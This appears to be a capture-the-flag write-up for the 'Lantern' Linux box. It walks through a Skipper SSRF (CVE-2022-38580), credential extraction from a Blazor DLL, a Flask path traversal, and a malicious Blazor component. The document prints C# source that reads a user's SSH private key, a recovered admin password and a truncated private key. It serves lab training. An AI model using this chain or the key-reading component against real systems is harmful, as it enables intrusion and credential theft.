Lantern
Overview
Lantern is a hard Linux box that chains SSRF through an internal web app vulnerability to achieve remote code execution via a Blazor component backdoor. The host runs a Skipper reverse proxy on port 80 that is vulnerable to CVE-2022-38580 (SSRF via the X-Skipper-Proxy header), which is used to scan internal ports and reach a Blazor WebAssembly application on port 5000 not accessible from the outside. Decompiling the app’s DLL reveals base64-encoded credentials for the admin user. Logging into the internal Blazor app exposes the Flask web server source code, which contains a send_file call on /PrivacyAndPolicy that accepts attacker-controlled filename parameters — a path traversal primitive. A separate component-loading endpoint executes uploaded .dll files as Razor components; a crafted DLL reads tomas’s SSH private key and returns it through the rendered component. From there, procmon analysis of a root-owned process provides the final escalation path.
Path: CVE-2022-38580 SSRF → internal Blazor app → DLL credential extraction → /PrivacyAndPolicy path traversal → malicious Blazor DLL → tomas SSH key → root binary analysis.
Enumeration
$ nmap -p- -A <target>

Three ports of interest: 22 (SSH), 80 (Skipper reverse proxy), and 3000 (a login page).



Foothold — CVE-2022-38580 SSRF
Skipper’s X-Skipper-Proxy header is vulnerable to server-side request forgery via CVE-2022-38580:

Using the header to probe internal HTTP ports finds additional services not visible externally:

Port 5000 internally serves a Blazor WebAssembly application — InternalLantern:

Extracting credentials from the DLL
Blazor WebAssembly apps serve their assemblies from /_framework/. The InternalLantern.dll is listed among the static assets:

The DLL is pulled through the SSRF:

Decompiling reveals base64-encoded credential fields. Decoding them in CyberChef:


admin:AJbFA_Q@925p9ap#22
Credential Access — Internal Blazor App
Logging into the internal app with the recovered credentials:

The app exposes the Flask web server’s source code. Two endpoints are particularly interesting:
/PrivacyAndPolicy — path traversal via unsanitized lang and ext parameters:
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
/submit (vacancies upload) — files are stored in the uploads/ directory with the name constructed from form fields.
There is also a component-loading endpoint that executes DLLs placed in /opt/components/:


User — Malicious Blazor Component DLL
The plan: compile a Blazor ComponentBase that reads tomas’s SSH private key on BuildRenderTree, upload it to the vacancies form so it lands in uploads/, traverse it into /opt/components/ with the path traversal on /PrivacyAndPolicy, then trigger the component loader to execute it.
The DLL source:
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace exploit
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}
After resolving dependencies, the compiled DLL appears in the uploads directory:

Adjusting the filename via the upload form to match what the component loader expects:

Triggering the component loader:


Uploading through the correct endpoint with adjusted filename:


The component executes and the rendered output contains tomas’s private key:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gt
...
-----END OPENSSH PRIVATE KEY-----
Saving the key and connecting:

$ chmod 600 id_rsa
$ ssh -i id_rsa tomas@<target>

Privilege Escalation — Root Binary Analysis
Process monitoring (procmon / watching running processes) identifies a binary executed regularly by root:

Inspecting the binary:



Root
Exploiting the identified behavior in the root binary produces a root shell:

Takeaways
- Skipper SSRF (CVE-2022-38580) turns an external proxy into an internal port scanner — any HTTP service bound to localhost becomes reachable; this is a quick way to find Blazor, Spring, or other internal admin apps.
- Blazor WebAssembly ships its full assembly to the browser — credentials, logic, and endpoints that a developer thought were “internal” are all present in the downloadable DLL, making decompilation a high-yield recon step against WASM apps.